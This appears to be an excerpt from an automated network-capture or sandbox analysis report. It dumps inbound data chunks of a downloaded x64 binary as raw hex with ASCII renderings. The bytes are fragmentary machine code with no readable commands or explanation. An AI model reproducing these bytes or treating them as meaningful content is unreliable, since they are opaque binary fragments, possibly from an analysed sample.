04 5a 08 00 48 8d 4c 24 30 48 89 44 24 70 48 8b 05 03 04 0b 00 c7 Data Ascii: #H3H`[H%#H\$Ht$WH#3H#HcH~#HoHe#HVHL#H=3HtH-DN@8p3wVcDFt$(DL$ LH/HHD$HHZHL$0HD$pH
2022-08-04 11:37:13 UTC	3605	IN	Data Raw: 24 60 48 8d 44 24 58 45 33 c9 48 89 44 24 28 45 33 c0 48 8b d7 48 89 5c 24 20 ff 15 39 12 08 00 48 8b 4c 24 60 ff 15 26 12 08 00 48 8b 5c 24 40 48 83 c4 30 5f c3 cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 20 83 79 08 05 48 8b d9 0f 85 7d d2 01 00 4c 8b 19 33 c0 41 89 83 18 02 00 00 48 83 c4 20 5b c3 cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 b9 48 00 00 00 e8 3a 10 00 00 48 85 c0 0f 84 99 d7 01 00 48 89 5c 24 20 48 8b d8 e8 2c 00 00 00 48 8b d0 48 8b cb e8 f1 cf ff ff 48 8b 5c 24 20 48 89 05 dd 29 0b 00 48 8d 05 d6 29 0b 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc 48 83 ec 28 8b 05 9a f5 09 00 a8 01 75 15 83 c8 01 48 8d 0d 38 b3 01 00 89 05 86 f5 09 00 e8 b1 0c 00 00 48 8d 05 7e f5 09 00 48 83 c4 28 c3 cc 40 53 48 83 ec 20 b9 0c 00 00 00 e8 b8 0f Data Ascii: $`HD$XE3HD$(E3HH\$ 9HL$`&H\$@H0_@SH yH}L3AH [H(H:HH\$ H,HHH\$ H)H)H(H(uH8H~H(@SH
2022-08-04 11:37:13 UTC	3621	IN	Data Raw: 41 83 f8 01 75 09 e8 8e fd ff ff 8b fd 03 f0 48 8b cb e8 ca f0 ff ff 44 8b 5b 18 45 84 db 79 0a 41 83 e3 fc 44 89 5b 18 eb 1a 41 f6 c3 01 74 14 41 f6 c3 08 74 0e 41 0f ba e3 0a 72 07 c7 43 24 00 02 00 00 48 8b cb e8 a5 ec ff ff 44 8b c7 8b d6 8b c8 e8 a9 b6 00 00 83 f8 ff 40 0f 95 c5 8d 45 ff 48 8b 5c 24 30 48 8b 6c 24 38 48 8b 74 24 40 48 83 c4 20 5f c3 cc cc 48 89 5c 24 10 48 89 74 24 18 48 89 4c 24 08 57 48 83 ec 30 41 8b d8 8b f2 48 8b f9 33 c0 48 85 c9 0f 95 c0 85 c0 75 25 e8 1f 4c 00 00 c7 00 16 00 00 00 48 83 64 24 20 00 45 33 c9 45 33 c0 33 d2 33 c9 e8 34 4b 00 00 83 c8 ff eb 52 85 db 74 2f 83 fb 01 74 2a 83 fb 02 74 25 e8 ec 4b 00 00 c7 00 16 00 00 00 48 83 64 24 20 00 45 33 c9 45 33 c0 33 d2 33 c9 e8 01 4b 00 00 83 c8 ff eb 1f e8 cf 24 00 00 90 Data Ascii: AuHD[EyAD[AtAtArC$HD@EH\$0Hl$8Ht$@H _H\$Ht$HL$WH0AH3Hu%LHd$ E3E3334KRt/t*t%KHd$ E3E333K$
2022-08-04 11:37:13 UTC	3622	IN	Data Raw: 59 4c 24 60 f2 0f 59 cf 0f 28 7c 24 10 66 0f 28 c1 f2 0f 58 c6 66 0f 28 d0 f2 0f 59 15 90 e3 07 00 f2 0f 58 15 80 e3 07 00 f2 0f 59 d0 f2 0f 58 15 6c e3 07 00 f2 0f 59 d0 f2 0f 58 15 58 e3 07 00 f2 0f 59 d0 f2 0f 59 c0 f2 0f 58 d5 f2 0f 59 d0 66 0f 28 c4 f2 0f 58 c3 f2 0f 58 d1 f2 0f 58 d6 0f 28 74 24 20 f2 0f 59 d0 f2 0f 58 d4 f2 0f 11 10 48 83 c4 38 c3 cc cc 48 83 ec 58 48 ba ff ff ff ff ff ff ff 7f f2 0f 11 44 24 78 66 0f 28 e0 48 8b 4c 24 78 48 8b c1 48 23 c2 48 ba ef 39 fa fe 42 2e 86 40 48 3b c2 0f 82 10 01 00 00 48 ba 00 00 00 00 00 00 f0 7f 48 3b c2 72 79 48 b8 ff ff ff ff ff ff 0f 00 48 85 c8 74 4e 66 0f 57 c0 c7 44 24 40 01 00 00 00 49 b8 00 00 00 00 00 00 08 00 f2 0f 11 44 24 38 f2 0f 11 64 24 30 c7 44 24 28 21 00 00 00 4c 0b c1 83 64 24 20 00 Data Ascii: YL$`Y(\|$f(Xf(YXYXlYXXYYXYf(XXX(t$ YXH8HXHD$xf(HL$xHH#H9B.@H;HH;ryHHtNfWD$@ID$8d$0D$(!Ld$
2022-08-04 11:37:13 UTC	3638	IN	Data Raw: b9 06 00 00 00 66 f3 ab e9 e0 00 00 00 39 1d 2e 63 09 00 0f 85 b7 fe ff ff 83 c8 ff e9 d6 00 00 00 48 8d 4e 1c 33 d2 41 b8 01 01 00 00 e8 cf 92 ff ff 48 8d 6c 6d 00 4c 8d 1d 5b f6 08 00 48 03 ed 41 ba 04 00 00 00 4d 8d 44 ed 10 49 8b c8 41 38 18 74 31 38 59 01 74 2c 0f b6 11 0f b6 41 01 3b d0 77 19 4c 8d 4c 32 1d 41 8a 03 41 03 d4 41 08 01 0f b6 41 01 4d 03 cc 3b d0 76 ec 48 83 c1 02 38 19 75 cf 49 83 c0 08 4d 03 dc 4d 2b d4 75 bb 89 7e 04 81 ef a4 03 00 00 44 89 66 08 74 24 83 ef 04 74 18 83 ef 0d 74 0c 41 3b fc 75 1a bb 04 04 00 00 eb 13 bb 12 04 00 00 eb 0c bb 04 08 00 00 eb 05 bb 11 04 00 00 89 5e 0c 48 8d 56 10 49 8d 7c ed 04 b9 06 00 00 00 0f b7 07 48 83 c7 02 66 89 02 48 83 c2 02 49 2b cc 75 ed 48 8b ce e8 7c fa ff ff 33 c0 48 8b 4c 24 38 48 33 cc Data Ascii: f9.cHN3AHlmL[HAMDIA8t18Yt,A;wLL2AAAAM;vH8uIMM+u~Dft$ttA;u^HVI\|HfHI+uH\|3HL$8H3
2022-08-04 11:37:13 UTC	3639	IN	Data Raw: 48 2b cf e8 a1 98 ff ff 48 8b 8b 50 01 00 00 48 2b cf e8 92 98 ff ff 48 8b 8b 30 01 00 00 e8 86 98 ff ff 48 8b 8b 58 01 00 00 48 8d 05 e0 02 09 00 48 3b c8 74 1a 83 b9 60 01 00 00 00 75 11 e8 d5 b4 00 00 48 8b 8b 58 01 00 00 e8 59 98 ff ff 48 8d 7b 58 be 06 00 00 00 48 8d 05 41 f3 08 00 48 39 47 f0 74 12 48 8b 0f 48 85 c9 74 0a 83 39 00 75 05 e8 31 98 ff ff 48 83 7f f8 00 74 13 48 8b 4f 08 48 85 c9 74 0a 83 39 00 75 05 e8 17 98 ff ff 48 83 c7 20 48 83 ee 01 75 bd 48 8b cb 48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f e9 f6 97 ff ff cc cc f0 83 01 01 48 8b 81 10 01 00 00 48 85 c0 74 04 f0 83 00 01 48 8b 81 20 01 00 00 48 85 c0 74 04 f0 83 00 01 48 8b 81 18 01 00 00 48 85 c0 74 04 f0 83 00 01 48 8b 81 30 01 00 00 48 85 c0 74 04 f0 83 00 01 48 8d 41 58 41 b8 Data Ascii: H+HPH+H0HXHH;t`uHXYH{XHAH9GtHHt9u1HtHOHt9uH HuHH\$0Ht$8H _HHtH HtHHtH0HtHAXA
2022-08-04 11:37:13 UTC	3655	IN	Data Raw: 00 83 f8 ff 0f 84 55 01 00 00 48 83 64 24 38 00 48 83 64 24 30 00 8b 4c 24 58 48 8d 44 24 5c 4c 8d 44 24 44 41 b9 01 00 00 00 33 d2 c7 44 24 28 05 00 00 00 48 ff c3 48 89 44 24 20 ff 15 8f 4c 07 00 8b e8 85 c0 0f 84 13 01 00 00 48 8b 44 24 50 48 83 64 24 20 00 48 8d 0d 43 62 0a 00 48 8b 0c c1 4c 8d 4c 24 4c 48 8d 54 24 5c 49 8b 0c 0f 44 8b c5 ff 15 b0 4c 07 00 85 c0 0f 84 42 01 00 00 8b fb 41 2b fc 03 7c 24 40 39 6c 24 4c 0f 8c cb 00 00 00 bd 0d 00 00 00 45 85 f6 0f 84 af 00 00 00 48 8b 44 24 50 48 83 64 24 20 00 40 88 6c 24 5c 48 8d 0d e8 61 0a 00 4c 8d 4c 24 4c 44 8d 45 f4 48 8b 0c c1 48 8d 54 24 5c 49 8b 0c 0f ff 15 54 4c 07 00 85 c0 0f 84 e6 00 00 00 83 7c 24 4c 01 7c 7b ff 44 24 40 ff c7 eb 65 40 80 fe 01 74 06 40 80 fe 02 75 17 0f b7 03 45 33 f6 66 Data Ascii: UHd$8Hd$0L$XHD$\LD$DA3D$(HHD$ LHD$PHd$ HCbHLL$LHT$\IDLBA+\|$@9l$LEHD$PHd$ @l$\HaLL$LDEHHT$\ITL\|$L\|{D$@e@t@uE3f
2022-08-04 11:37:13 UTC	3656	IN	Data Raw: 48 8d 44 24 70 2b c8 4c 8d 44 24 70 c7 44 24 28 55 0d 00 00 8b c1 b9 e9 fd 00 00 99 2b c2 33 d2 d1 f8 44 8b c8 48 8d 84 24 20 07 00 00 48 89 44 24 20 ff 15 99 48 07 00 44 8b f0 85 c0 0f 84 80 fd ff ff 33 f6 48 8b 44 24 50 48 83 64 24 20 00 48 63 ce 48 8d 94 0c 20 07 00 00 45 8b c6 48 8d 0d 3c 5e 0a 00 48 8b 0c c1 4c 8d 4c 24 48 44 2b c6 49 8b 0c 0f ff 15 ae 48 07 00 85 c0 74 0b 03 74 24 48 44 3b f6 7f bd eb 08 ff 15 41 4b 07 00 8b d8 44 3b f6 0f 8f c8 fc ff ff 8b fd 41 b8 0d 00 00 00 41 2b fc 41 3b fd 0f 82 06 ff ff ff e9 af fc ff ff 49 8b 0c 0f 48 21 7c 24 20 4c 8d 4c 24 48 45 8b c5 49 8b d4 ff 15 5b 48 07 00 85 c0 74 0b 8b 7c 24 48 33 db e9 8f fc ff ff ff 15 ee 4a 07 00 8b d8 e9 82 fc ff ff 8b cb e8 14 c0 ff ff e9 7e f9 ff ff 48 8d 05 a4 5d 0a 00 4a 8b Data Ascii: HD$p+LD$pD$(U+3DH$ HD$ HD3HD$PHd$ HcH EH<^HLL$HD+IHtt$HD;AKD;AA+A;IH!\|$ LL$HEI[Ht\|$H3J~H]J
2022-08-04 11:37:13 UTC	3672	IN	Data Raw: 38 4c 89 74 24 30 89 74 24 28 49 8b 44 24 08 48 89 44 24 20 45 8b cf 4c 8d 05 9b e1 08 00 33 d2 8b cb ff 15 a9 08 07 00 41 3b c6 74 15 44 39 b4 24 a8 00 00 00 75 0b 49 8b 44 24 08 44 88 70 3f eb 08 49 8b 44 24 08 44 88 30 be 01 00 00 00 8b 9c 24 90 00 00 00 e8 0e 0b 00 00 89 18 8b 9c 24 98 00 00 00 e8 f0 0a 00 00 89 18 8b 9c 24 a0 00 00 00 e8 ea 0a 00 00 89 18 b9 07 00 00 00 e8 1a 86 ff ff 41 3b f6 0f 85 67 01 00 00 41 bf 03 00 00 00 4d 8b cf 4c 8b c7 41 8d 57 3d 49 8b 0c 24 e8 04 34 00 00 41 3b c6 74 14 4c 89 74 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 0f 7e ff ff 49 03 ff 80 3f 2d 75 09 41 bd 01 00 00 00 48 ff c7 48 8b cf e8 da 6e 00 00 44 8b d8 45 69 db 10 0e 00 00 44 89 9c 24 90 00 00 00 b3 30 40 b6 39 8a 07 3c 2b 0f 84 f3 00 00 00 3a c3 7c 09 40 3a c6 Data Ascii: 8Lt$0t$(ID$HD$ EL3A;tD9$uID$Dp?ID$D0$$$A;gAMLAW=I$4A;tLt$ E3E333~I?-uAHHnDEiD$0@9<+:\|@:
2022-08-04 11:37:13 UTC	3673	IN	Data Raw: 03 84 24 90 00 00 00 6b c0 3c 03 84 24 98 00 00 00 69 c0 e8 03 00 00 03 84 24 a0 00 00 00 41 83 fc 01 75 15 44 89 15 2a 7a 08 00 89 05 28 7a 08 00 89 1d 1a 7a 08 00 eb 71 48 8d 4c 24 50 44 89 15 20 7a 08 00 89 05 1e 7a 08 00 e8 89 06 00 00 85 c0 74 15 48 83 64 24 20 00 45 33 c9 45 33 c0 33 d2 33 c9 e8 64 7a ff ff 8b 0d fa 79 08 00 8b 44 24 50 69 c0 e8 03 00 00 03 c8 b8 00 5c 26 05 89 0d e3 79 08 00 79 0a 03 c8 ff 0d d5 79 08 00 eb 0c 3b c8 7c 0e 2b c8 ff 05 c7 79 08 00 89 0d c5 79 08 00 89 1d b7 79 08 00 48 8b 5c 24 58 48 8b 6c 24 60 48 83 c4 30 41 5c 5f 5e c3 48 8b c4 48 89 58 08 48 89 68 18 48 89 70 20 57 41 54 41 55 48 83 ec 60 48 8b f9 48 8d 48 10 33 db 89 58 10 e8 b3 05 00 00 3b c3 74 14 45 33 c9 45 33 c0 33 d2 33 c9 48 89 5c 24 20 e8 cf 79 ff ff 39 Data Ascii: $k<$i$AuD*z(zzqHL$PD zztHd$ E3E333dzyD$Pi\&yyy;\|+yyyH\$XHl$`H0A\_^HHXHhHp WATAUH`HHH3X;tE3E333H\$ y9
2022-08-04 11:37:13 UTC	3689	IN	Data Raw: ce 48 83 ea 04 48 3b cb 7d e3 44 8b 0d 28 3d 08 00 45 8b e7 41 8b c1 99 41 23 d7 03 c2 44 8b d8 41 23 c7 41 c1 fb 05 2b c2 4d 63 f3 44 2b e0 42 8b 4c b4 20 44 0f a3 e1 0f 83 9b 00 00 00 41 8b cc 41 8b c5 4d 63 c3 d3 e0 f7 d0 42 85 44 84 20 75 19 42 8d 04 06 48 98 eb 09 39 5c 84 20 75 0b 48 03 c6 48 83 f8 03 7c f1 eb 6e 41 8d 41 ff 41 8b cf 44 8b ce 99 41 23 d7 03 c2 44 8b c0 41 23 c7 2b c2 41 c1 f8 05 2b c8 4d 63 d0 42 8b 44 94 20 41 d3 e1 8b cb 42 8d 14 08 3b d0 72 05 41 3b d1 73 02 8b ce 44 2b c6 42 89 54 94 20 49 63 d0 48 3b d3 7c 24 3b cb 74 20 8b 44 94 20 8b cb 44 8d 40 01 44 3b c0 72 05 44 3b c6 73 02 8b ce 44 89 44 94 20 48 2b d6 79 dc 41 8b cc 41 8b c5 d3 e0 42 21 44 b4 20 41 8d 43 01 48 63 d0 48 83 fa 03 7d 19 48 8d 4c 94 20 41 b8 03 00 00 00 4c Data Ascii: HH;}D(=EAA#DA#A+McD+BL DAAMcBD uBH9\ uHH\|nAAADA#DA#+A+McBD AB;rA;sD+BT IcH;\|$;t D D@D;rD;sDD H+yAAB!D ACHcH}HL AL
2022-08-04 11:37:13 UTC	3690	IN	Data Raw: 8b 0d 4b 39 08 00 48 8d 4c 24 20 45 8b df 48 8b 01 41 83 cd ff 89 bc 24 90 00 00 00 48 89 44 24 30 8b 41 08 44 8b e3 89 44 24 38 41 8b c1 99 41 23 d7 03 c2 44 8b d0 41 23 c7 41 c1 fa 05 2b c2 4d 63 f2 44 2b d8 42 8b 4c b4 20 44 0f a3 d9 0f 83 99 00 00 00 41 8b cb 41 8b c5 4d 63 c2 d3 e0 f7 d0 42 85 44 84 20 75 19 42 8d 04 06 48 98 eb 09 39 5c 84 20 75 0b 48 03 c6 48 83 f8 03 7c f1 eb 6c 41 8d 41 ff 41 8b cf 99 41 23 d7 03 c2 44 8b c0 41 23 c7 2b c2 41 c1 f8 05 8b d6 2b c8 4d 63 c8 42 8b 44 8c 20 d3 e2 8d 0c 10 3b c8 72 04 3b ca 73 03 44 8b e6 44 2b c6 42 89 4c 8c 20 49 63 d0 48 3b d3 7c 27 44 3b e3 74 22 8b 44 94 20 44 8b e3 44 8d 40 01 44 3b c0 72 05 44 3b c6 73 03 44 8b e6 44 89 44 94 20 48 2b d6 79 d9 41 8b cb 41 8b c5 d3 e0 42 21 44 b4 20 41 8d 42 01 Data Ascii: K9HL$ EHA$HD$0ADD$8AA#DA#A+McD+BL DAAMcBD uBH9\ uHH\|lAAAA#DA#+A+McBD ;r;sDD+BL IcH;\|'D;t"D DD@D;rD;sDDD H+yAAB!D AB
2022-08-04 11:37:13 UTC	3706	IN	Data Raw: 53 02 00 00 66 3b cb 75 18 8b 42 08 66 45 03 c3 0f ba f0 1f 3b c3 75 09 39 5a 04 75 04 39 1a 74 af be 01 00 00 00 44 8b e3 48 8d 4c 24 54 44 8d 56 04 44 3b d3 43 8d 04 24 44 89 54 24 34 4c 63 c8 7e 55 41 8b fc 4e 8d 74 0c 60 4c 8d 7a 08 23 fe 41 0f b7 06 45 0f b7 0f 44 8b db 44 0f af c8 8b 41 fc 42 8d 2c 08 3b e8 72 05 41 3b e9 73 03 44 8b de 89 69 fc 44 3b db 74 03 66 01 31 44 8b 5c 24 34 49 83 c6 02 49 83 ef 02 44 2b de 44 3b db 44 89 5c 24 34 7f b9 44 2b d6 48 83 c1 02 44 03 e6 44 3b d3 7f 8b 44 8b 54 24 58 44 8b 4c 24 50 b8 02 c0 00 00 66 44 03 c0 41 bc ff ff 00 00 66 44 3b c3 7e 45 41 0f ba e2 1f 72 38 44 8b 5c 24 54 41 8b d1 45 03 d2 c1 ea 1f 45 03 c9 41 8b cb c1 e9 1f 43 8d 04 1b 66 45 03 c4 0b c2 44 0b d1 66 44 3b c3 89 44 24 54 44 89 54 24 58 44 Data Ascii: Sf;uBfE;u9Zu9tDHL$TDVD;C$DT$4Lc~UANt`Lz#AEDDAB,;rA;sDiD;tf1D\$4IID+D;D\$4D+HDD;DT$XDL$PfDAfD;~EAr8D\$TAEEACfEDfD;D$TDT$XD
2022-08-04 11:37:13 UTC	3707	IN	Data Raw: 66 44 89 1b 44 3b c8 75 05 45 3b d4 74 10 41 0f ba e1 1e 72 09 4c 8d 05 35 bd 06 00 eb 66 66 41 3b cc 74 17 41 81 f9 00 00 00 c0 75 0e 45 3b d4 75 4b 4c 8d 05 10 bd 06 00 eb 11 44 3b c8 75 3d 45 3b d4 75 38 4c 8d 05 f5 bc 06 00 48 8d 4b 04 ba 16 00 00 00 e8 27 a9 ff ff 41 3b c4 74 14 45 33 c9 45 33 c0 33 d2 33 c9 4c 89 64 24 20 e8 5a f2 fe ff b8 05 00 00 00 88 43 03 eb 32 4c 8d 05 b5 bc 06 00 48 8d 4b 04 ba 16 00 00 00 e8 ef a8 ff ff 41 3b c4 74 14 45 33 c9 45 33 c0 33 d2 33 c9 4c 89 64 24 20 e8 22 f2 fe ff c6 43 03 06 45 8b dc e9 57 09 00 00 44 0f b7 c7 41 8b c9 44 89 4c 24 76 c1 e9 18 41 8b c0 44 89 54 24 72 c1 e8 08 4c 8d 0d 89 f4 07 00 41 bd 05 00 00 00 45 69 c0 10 4d 00 00 8d 14 48 49 83 e9 60 66 89 7c 24 7a 66 44 89 64 24 70 44 89 6c 24 48 be fd bf Data Ascii: fDD;uE;tArL5ffA;tAuE;uKLD;u=E;u8LHK'A;tE3E333Ld$ ZC2LHKA;tE3E333Ld$ "CEWDADL$vADT$rLAEiMHI`f\|$zfDd$pDl$H
2022-08-04 11:37:13 UTC	3723	IN	Data Raw: 48 8d 4c 24 50 ff 15 b6 3c 06 00 48 8d 4c 24 38 e8 dc a8 00 00 90 e9 f7 f9 fd ff cc cc cc cc cc cc 33 c0 e9 7d 28 fe ff cc cc cc cc cc cc cc cc cc ba 92 00 00 00 eb 05 ba 73 00 00 00 48 8d 0d 1d 2b 09 00 41 83 c8 ff e8 34 ca 03 00 b8 01 00 00 00 48 83 c4 28 c3 ba 77 00 00 00 eb df ba 97 00 00 00 eb d8 ba a0 00 00 00 eb d1 ba b4 00 00 00 eb ca 44 3b c2 74 b9 44 3b ca 74 da 39 54 24 50 74 db 39 54 24 58 74 dc 39 54 24 60 74 dd 39 54 24 68 74 a3 e9 a1 00 fe ff cc cc cc cc cc cc cc 49 8b 43 08 66 83 78 08 7f 0f 85 73 02 00 00 41 8b c1 44 89 64 24 40 48 8d 54 24 40 ff c0 48 8d 4c 24 48 41 ff c4 89 84 24 28 01 00 00 e8 de da fc ff 44 8b 8c 24 28 01 00 00 e9 7a de fc ff ff 44 24 44 44 89 64 24 40 48 8d 54 24 40 48 8d 4c 24 60 41 ff c4 e8 b6 da fc ff 44 8b 8c 24 Data Ascii: HL$P<HL$83}(sH+A4H(wD;tD;t9T$Pt9T$Xt9T$`t9T$htICfxsADd$@HT$@HL$HA$(D$(zD$DDd$@HT$@HL$`AD$
2022-08-04 11:37:13 UTC	3724	IN	Data Raw: 00 48 8d 0d 59 27 09 00 e9 4a ff ff ff 41 83 c8 ff 48 8d 0d 49 27 09 00 41 8d 50 76 e9 36 ff ff ff 41 83 c8 ff ba 95 00 00 00 48 8d 0d 30 27 09 00 e9 21 ff ff ff 41 83 c8 ff ba 96 00 00 00 48 8d 0d 1b 27 09 00 e9 0c ff ff ff 48 8b 43 08 ba 9f 00 00 00 48 8b 0c e8 44 0f bf 41 0a 48 8d 0d fd 26 09 00 e9 ee fe ff ff 41 83 c8 ff ba a1 00 00 00 48 8d 0d e8 26 09 00 e9 d9 fe ff ff cc cc cc 41 8b 0a ba 6f 00 00 00 ff c9 48 8b 0c c8 44 0f bf 41 0a 48 8b cb e8 e5 c5 03 00 b8 01 00 00 00 e9 59 c5 fd ff cc cc cc cc cc cc cc cc cc cc cc 48 8d 0d a9 26 09 00 41 83 c8 ff ba 83 00 00 00 e8 bb c5 03 00 b8 01 00 00 00 48 83 c4 28 c3 cc 8b 0f 48 8b 04 ca 44 8b 00 41 83 f8 24 75 1f c6 84 24 f0 00 00 00 01 8d 41 01 89 07 8b c0 48 8b 0c c2 66 83 79 08 00 74 d7 e9 40 e9 fd ff Data Ascii: HY'JAHI'APv6AH0'!AH'HCHDAH&AH&AoHDAHYH&AH(HDA$u$AHfyt@
2022-08-04 11:37:13 UTC	3740	IN	Data Raw: f4 fc ff b9 28 00 00 00 e8 ac f4 fd ff 48 85 c0 74 81 49 8b d7 48 8b c8 e8 e4 aa 04 00 48 89 03 e9 74 f4 fc ff 48 8b 47 10 48 8b 48 48 e9 75 f4 fc ff 48 8b 0d 98 ef 08 00 ba 01 00 00 00 48 8b 69 10 e8 4a a7 04 00 48 89 2d 83 ef 08 00 c6 05 85 ef 08 00 00 e9 65 f4 fc ff c6 05 79 ef 08 00 01 e9 51 f5 fc ff 48 8b cd e8 b3 d7 fc ff 90 e9 87 f4 fc ff 48 8b 0e e8 c5 ef fd ff 48 8b 4e 18 e8 bc ef fd ff 90 e9 9f f4 fc ff 33 f6 e9 a6 f4 fc ff 48 8b 0f 48 85 c9 0f 84 a6 f4 fc ff ff 15 ad fd 05 00 48 8b 0f e8 95 ef fd ff 90 e9 b6 f4 fc ff 48 8b 0f 48 85 c9 0f 84 aa f4 fc ff ba 01 00 00 00 e8 e9 93 01 00 90 e9 9a f4 fc ff 48 8b cf e8 8b b7 fd ff 90 e9 8c f4 fc ff 48 8b 0f 48 8b 49 08 e8 59 ef fd ff 48 8b 0f e8 51 ef fd ff 90 e9 72 f4 fc ff 48 8b 0f 48 85 c9 0f 84 66 Data Ascii: (HtIHHtHGHHHuHHiJH-eyQHHHN3HHHHHHHHIYHQrHHf
2022-08-04 11:37:13 UTC	3741	IN	Data Raw: 00 14 6f 03 00 14 6f 03 00 c2 68 00 00 e8 6e 03 00 14 6f 03 00 14 6f 03 00 3f 6f 03 00 8c 6f 03 00 97 6f 03 00 c8 6f 03 00 32 70 03 00 21 74 03 00 2a 74 03 00 2a 74 03 00 ca 6c 00 00 35 74 03 00 2a 74 03 00 2a 74 03 00 7f 74 03 00 cc 74 03 00 d6 74 03 00 07 75 03 00 6f 75 03 00 8d 78 03 00 7b 78 03 00 95 78 03 00 e5 78 03 00 8d 78 03 00 8d 78 03 00 31 79 03 00 7d 79 03 00 8c 79 03 00 bd 79 03 00 22 7a 03 00 cc cc cc cc cc cc cc cc 48 8b 08 48 8d 84 24 a8 00 00 00 4c 8d 8c 24 b8 00 00 00 48 8b 11 48 89 44 24 28 48 8d 84 24 b0 00 00 00 4c 8d 84 24 a0 00 00 00 48 8b cf 48 89 44 24 20 e8 e8 eb 03 00 3c 01 75 15 8b 94 24 a0 00 00 00 44 0f b6 c0 48 8b cf ff c2 e8 8f a3 04 00 48 8d 54 24 38 48 8d 4c 24 30 e8 c0 73 01 00 48 8b 44 24 30 e9 ec 9d fc ff cc cc cc cc Data Ascii: oohnoo?oooo2p!tttl5ttttttuoux{xxxxx1y}yyy"zHH$L$HHD$(H$L$HHD$ <u$DHHT$8HL$0sHD$0
2022-08-04 11:37:13 UTC	3757	IN	Data Raw: c9 e9 ab 00 00 00 83 f9 5c 75 12 45 85 c0 0f 88 ac 00 00 00 49 83 c1 03 e9 94 00 00 00 83 f9 5f 75 1e 41 0f b6 49 03 41 0f b6 41 04 c1 e1 08 0b c8 41 3b c8 0f 84 86 00 00 00 49 83 c1 05 eb 71 83 f9 39 7c 2a 83 f9 3e 7e 15 83 f9 41 7e 0a 83 f9 44 7e 0b 83 f9 45 75 16 41 8a 41 03 eb 04 41 8a 41 01 3c 10 74 04 3c 0f 75 04 49 83 c1 02 48 63 c1 42 0f b6 84 10 e0 c9 09 00 4c 03 c8 85 d2 74 2f 83 f9 1c 7c 2a 83 f9 1d 7e 0a 83 f9 1e 7e 20 83 f9 2b 7f 1b 41 80 79 ff c0 72 14 41 0f b6 41 ff 83 e0 3f 42 0f b6 84 10 b0 ca 09 00 4c 03 c8 41 0f b6 09 85 c9 0f 85 29 ff ff ff 33 c0 c3 49 8b c1 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 4c 89 4c 24 20 44 89 44 24 18 55 56 57 48 83 ec 20 83 ce ff 45 8b d0 8b ea 33 ff 48 8d 59 03 4c 8d 05 e5 40 fc ff ba 02 00 Data Ascii: \uEI_uAIAAA;Iq9\|>~A~D~EuAAAA<t<uIHcBLt/\|~~ +AyrAA?BLA)3IH\$LL$ DD$UVWH E3HYL@
2022-08-04 11:37:13 UTC	3758	IN	Data Raw: 07 06 00 41 8a 02 3c 04 72 1c 3c 05 76 66 3c 19 74 40 3c 53 74 63 3c 58 76 0c 3c 5b 76 11 3c 63 76 04 3c 68 76 53 48 8b 5c 24 08 49 8b c2 c3 45 85 c9 74 f2 41 0f b6 42 01 c1 e0 08 48 63 c8 41 0f b6 42 02 48 0b c8 4c 03 d1 41 80 3a 54 74 e4 eb 27 45 85 c0 7e 17 41 0f b6 52 01 41 8b 0b 8b c2 41 23 c8 41 23 c0 3b c1 74 03 41 89 13 49 83 c2 02 eb 8f 45 85 c9 74 ad 41 0f b6 02 0f b6 04 18 4c 03 d0 e9 7a ff ff ff cc cc cc cc cc cc cc cc 48 8b c4 44 89 48 20 4c 89 40 18 48 89 50 10 48 89 48 08 53 55 56 57 48 83 ec 48 4c 8b 11 48 8b bc 24 98 00 00 00 33 db 8b 17 4c 89 50 d0 41 80 3a 28 89 54 24 30 8b ca 89 94 24 98 00 00 00 4d 8b d8 89 5c 24 34 0f 85 3f 01 00 00 49 8d 4a 01 41 b0 3f 8a 01 41 3a c0 75 20 41 80 7a 02 7c 75 14 49 83 c2 03 bb 01 00 00 00 4c 89 54 24 Data Ascii: A<r<vf<t@<Stc<Xv<[v<cv<hvSH\$IEtABHcABHLA:Tt'E~ARAA#A#;tAIEtALzHDH L@HPHHSUVWHHLH$3LPA:(T$0$M\$4?IJA?A:u Az\|uILT$
2022-08-04 11:37:13 UTC	3774	IN	Data Raw: 41 8d 48 01 89 0b 48 63 c9 89 06 66 44 39 2c 4f 75 c9 8b 0e 41 8a c4 0f af cd 89 0e 48 8b 5c 24 40 48 8b 6c 24 48 48 8b 74 24 50 48 83 c4 20 41 5d 41 5c 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 38 45 33 d2 b8 00 00 00 80 3b c8 41 0f 44 ca 3b d0 41 0f 44 d2 89 4c 24 20 42 8d 04 0a 89 54 24 24 33 d2 89 44 24 2c 42 8d 04 01 48 8d 4c 24 20 89 44 24 28 ff 15 33 78 05 00 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 33 db 33 d2 33 c9 44 8d 43 08 ff 15 8e 6d 05 00 48 8b f8 48 3b c3 74 3c 48 8b c8 ff 15 75 6d 05 00 48 3b c3 74 0d 48 8b c8 ff 15 5f 6d 05 00 b3 01 eb 18 ff 15 fd 72 05 00 0f b6 db 41 bb 01 00 00 00 3d 1f 04 00 00 41 0f 44 db 48 8b cf ff 15 32 6d 05 00 8a c3 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc Data Ascii: AHHcfD9,OuAH\$@Hl$HHt$PH A]A\_H8E3;AD;ADL$ BT$$3D$,BHL$ D$(3xH8H\$WH 333DCmHH;t<HumH;tH_mrA=ADH2mH\$0H _
2022-08-04 11:37:13 UTC	3775	IN	Data Raw: cc 48 89 5c 24 08 57 48 83 ec 20 49 63 d8 48 8b f9 8d 43 ff 4c 63 c0 e8 d1 6f fd ff 33 c0 66 89 44 5f fe 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc 48 89 5c 24 08 48 89 7c 24 10 48 8b 5c 24 28 41 8b f8 4c 8b 44 24 30 44 8b 1b 44 8b d2 44 3b d9 75 0f 41 39 10 75 07 32 c0 e9 99 00 00 00 44 3b d9 7d 20 8b c1 41 2b c3 99 f7 ff 85 c0 74 05 41 3b c1 7d 03 41 8b c1 41 03 c3 3b c1 0f 4f c1 89 03 eb 26 44 3b d9 7e 21 41 8b c3 2b c1 99 f7 ff 85 c0 74 05 41 3b c1 7d 03 41 8b c1 44 2b d8 44 3b d9 44 0f 4c d9 44 89 1b 41 8b 08 41 3b ca 7d 22 41 8b c2 2b c1 99 f7 ff 85 c0 74 05 41 3b c1 